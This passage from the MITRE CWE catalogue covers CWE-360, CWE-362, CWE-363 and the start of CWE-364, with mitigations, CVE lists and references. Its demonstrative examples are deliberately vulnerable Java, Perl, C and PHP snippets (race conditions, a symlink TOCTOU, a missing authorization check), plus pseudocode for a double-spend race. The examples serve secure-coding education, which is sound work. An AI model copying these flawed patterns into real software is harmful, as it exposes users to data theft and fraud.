## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Privacy Violation
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
464	Evercookie
467	Cross Site Identification
498	Probe iOS Screenshots
508	Shoulder Surfing

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-338]J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. < [http://www.theregister.co.uk/2005/02/07/aol\\_email\\_theft/](http://www.theregister.co.uk/2005/02/07/aol_email_theft/) >.

[REF-339]NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". 2010 April. < <http://csrc.nist.gov/publications/nistpubs/800-122/sp800-122.pdf> >.

[REF-340]U.S. Department of Commerce. "Safe Harbor Privacy Framework". < <http://www.export.gov/safeharbor/> >.

[REF-341]Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". < <http://www.ftc.gov/privacy/glbact/index.html> >.

[REF-342]U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". < <http://www.hhs.gov/ocr/hipaa/> >.

[REF-343]Government of the State of California. "California SB-1386". 2002. < [http://info.sen.ca.gov/pub/01-02/bill/sen/sb\\_1351-1400/sb\\_1386\\_bill\\_20020926\\_chaptered.html](http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html) >.

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

[REF-1047]Wikipedia. "General Data Protection Regulation". < [https://en.wikipedia.org/wiki/General\\_Data\\_Protection\\_Regulation](https://en.wikipedia.org/wiki/General_Data_Protection_Regulation) >.

[REF-1048]State of California Department of Justice, Office of the Attorney General. "California Consumer Privacy Act (CCPA)". < <https://oag.ca.gov/privacy/ccpa> >.

## CWE-360: Trust of System Event Data

**Weakness ID** : 360

**Structure** : Simple

**Abstraction** : Base

### Description

Security based on event locations are insecure and can be spoofed.

### Extended Description

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805
ParentOf		422	Unprotected Windows Messaging Channel ('Shatter')	966

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.</i>	
Access Control		

### Potential Mitigations

**Phase:** Architecture and Design

Never trust or rely any of the information in an Event for security.

## Demonstrative Examples

### Example 1:

This example code prints out secret information when an authorized user activates a button:

Example Language: Java

(Bad)

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
        System.out.println("print out secret information");
    }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Trust of system event data
Software Fault Patterns	SFP29		Faulty endpoint authentication

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

**Weakness ID** : 362

**Structure** : Simple

**Abstraction** : Class

### Description

The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

### Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

- Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
- Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
ParentOf	B	364	Signal Handler Race Condition	851
ParentOf	B	366	Race Condition within a Thread	856
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	858
ParentOf	B	368	Context Switching Race Condition	863
ParentOf	B	421	Race Condition During Access to Alternate Channel	965
ParentOf	B	689	Permission Race Condition During Resource Copy	1416
ParentOf	B	1223	Race Condition for Write-Once Attributes	1849
ParentOf	B	1298	Hardware Logic Contains Race Conditions	1991
CanFollow	G	662	Improper Synchronization	1363

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	858

## Applicable Platforms

**Language** : C (Prevalence = Sometimes)

**Language** : C++ (Prevalence = Sometimes)

**Language** : Java (Prevalence = Sometimes)

**Technology** : Mobile (Prevalence = Undetermined)

**Technology** : ICS/OT (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

**Common Consequences**

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)  <i>When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).</i>	
Availability	DoS: Crash, Exit, or Restart DoS: Instability  <i>When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.</i>	
Confidentiality Integrity	Read Files or Directories Read Application Data  <i>When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).</i>	

**Detection Methods****Black Box**

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

**White Box**

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

*Effectiveness = Moderate*

**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis  
Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners



*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Framework-based Fuzzer Cost effective for partial coverage: Fuzz Tester Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

### Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

### Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

### Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

### Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x+=". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

### Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

### Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.



**Phase: Implementation**

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

**Phase: Implementation**

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Demonstrative Examples****Example 1:**

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

*Example Language: Perl*

*(Bad)*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
    FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to `GetBalanceFromDatabase()` and `SendNewBalanceToDatabase()`.

Suppose the balance is initially 100.00. An attack could be constructed as follows:

*Example Language: Other*

*(Attack)*

In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.  
 CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.  
 CALLER-1 makes a transfer request of 80.00.  
 PROGRAM-1 calls `GetBalanceFromDatabase` and sets `$balance` to 100.00  
 PROGRAM-1 calculates `$newbalance` as 20.00, then calls `SendNewBalanceToDatabase()`.  
 Due to high server load, the PROGRAM-1 call to `SendNewBalanceToDatabase()` encounters a delay.  
 CALLER-2 makes a transfer request of 1.00.  
 PROGRAM-2 calls `GetBalanceFromDatabase()` and sets `$balance` to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.  
 PROGRAM-2 determines the new balance as 99.00.  
 After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.  
 PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

### Example 2:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(Bad)

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread\_mutex\_lock() for errors. If pthread\_mutex\_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(Good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

### Example 3:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

## Observed Examples

Reference	Description
<b>CVE-2022-29527</b>	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29527">https://www.cve.org/CVERecord?id=CVE-2022-29527</a>
<b>CVE-2021-1782</b>	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-1782">https://www.cve.org/CVERecord?id=CVE-2021-1782</a>
<b>CVE-2021-0920</b>	Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2021-0920">https://www.cve.org/CVERecord?id=CVE-2021-0920</a>
<b>CVE-2020-6819</b>	Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
	<a href="https://www.cve.org/CVERecord?id=CVE-2020-6819">https://www.cve.org/CVERecord?id=CVE-2020-6819</a>
<b>CVE-2019-18827</b>	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
	<a href="https://www.cve.org/CVERecord?id=CVE-2019-18827">https://www.cve.org/CVERecord?id=CVE-2019-18827</a>
<b>CVE-2019-1161</b>	Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.
	<a href="https://www.cve.org/CVERecord?id=CVE-2019-1161">https://www.cve.org/CVERecord?id=CVE-2019-1161</a>
<b>CVE-2015-1743</b>	TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
	<a href="https://www.cve.org/CVERecord?id=CVE-2015-1743">https://www.cve.org/CVERecord?id=CVE-2015-1743</a>
<b>CVE-2014-8273</b>	Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
	<a href="https://www.cve.org/CVERecord?id=CVE-2014-8273">https://www.cve.org/CVERecord?id=CVE-2014-8273</a>
<b>CVE-2008-5044</b>	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-5044">https://www.cve.org/CVERecord?id=CVE-2008-5044</a>
<b>CVE-2008-2958</b>	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-2958">https://www.cve.org/CVERecord?id=CVE-2008-2958</a>
<b>CVE-2008-1570</b>	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-1570">https://www.cve.org/CVERecord?id=CVE-2008-1570</a>
<b>CVE-2008-0058</b>	Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-0058">https://www.cve.org/CVERecord?id=CVE-2008-0058</a>
<b>CVE-2008-0379</b>	Race condition during initialization triggers a buffer overflow.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-0379">https://www.cve.org/CVERecord?id=CVE-2008-0379</a>
<b>CVE-2007-6599</b>	Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-6599">https://www.cve.org/CVERecord?id=CVE-2007-6599</a>
<b>CVE-2007-6180</b>	chain: race condition triggers NULL pointer dereference
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-6180">https://www.cve.org/CVERecord?id=CVE-2007-6180</a>
<b>CVE-2007-5794</b>	Race condition in library function could cause data to be sent to the wrong process.
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-5794">https://www.cve.org/CVERecord?id=CVE-2007-5794</a>
<b>CVE-2007-3970</b>	Race condition in file parser leads to heap corruption.
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-3970">https://www.cve.org/CVERecord?id=CVE-2007-3970</a>
<b>CVE-2008-5021</b>	chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-5021">https://www.cve.org/CVERecord?id=CVE-2008-5021</a>
<b>CVE-2009-4895</b>	chain: race condition for an argument value, possibly resulting in NULL dereference
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-4895">https://www.cve.org/CVERecord?id=CVE-2009-4895</a>
<b>CVE-2009-3547</b>	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-3547">https://www.cve.org/CVERecord?id=CVE-2009-3547</a>

Reference	Description
<b>CVE-2006-5051</b>	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). <a href="https://www.cve.org/CVERecord?id=CVE-2006-5051">https://www.cve.org/CVERecord?id=CVE-2006-5051</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2159
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2174
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	2206
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2241
MemberOf	C	1376	ICS Engineering (Construction/Deployment): Security Gaps in Commissioning	1358	2303
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Notes

#### Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

#### Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

#### Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

#### Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Race Conditions
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

### References

- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-349]Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008 February 1. < <http://www.ddj.com/cpp/184403766> >.
- [REF-350]Steven Devijver. "Thread-safe webapps using Spring". < <http://www.javalobby.org/articles/thread-safe/index.jsp> >.
- [REF-351]David Wheeler. "Prevent race conditions". 2007 October 4. < <http://www.ibm.com/developerworks/library/l-sprace.html> >.
- [REF-352]Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995 September. < <http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf> >.
- [REF-353]David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003 March 3. < <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html> >.
- [REF-354]Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002 April. < <http://www.blakewatts.com/namedpipepaper.html> >.
- [REF-355]Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". < <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf> >.
- [REF-356]"Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. < <http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html> >.
- [REF-357]Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". 2010 March 6. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/> >.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.
- [REF-1237]CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015 January 5. < <https://www.kb.cert.org/vuls/id/766164/> >.

## CWE-363: Race Condition Enabling Link Following

**Weakness ID** : 363  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.



## Extended Description

While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the product to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		367	Time-of-check Time-of-use (TOCTOU) Race Condition	858
CanPrecede		59	Improper Link Resolution Before File Access ('Link Following')	108

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Demonstrative Examples

### Example 1:

This code prints the contents of a file if a user has permission.

*Example Language: PHP*

*(Bad)*

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

## MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf		988	SFP Secondary Cluster: Race Condition Window	888	2206
MemberOf		1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256

## Notes

### Relationship

This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Race condition enabling link following
CERT C Secure Coding	POS35-C	Exact	Avoid race conditions while checking for the existence of a symbolic link
Software Fault Patterns	SFP20		Race Condition Window

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-364: Signal Handler Race Condition

**Weakness ID** : 364  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product uses a signal handler that introduces a race condition.

### Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the product state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the



memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
- Shared state between a signal handler and other signal handlers
- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
- Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
- While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.








Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
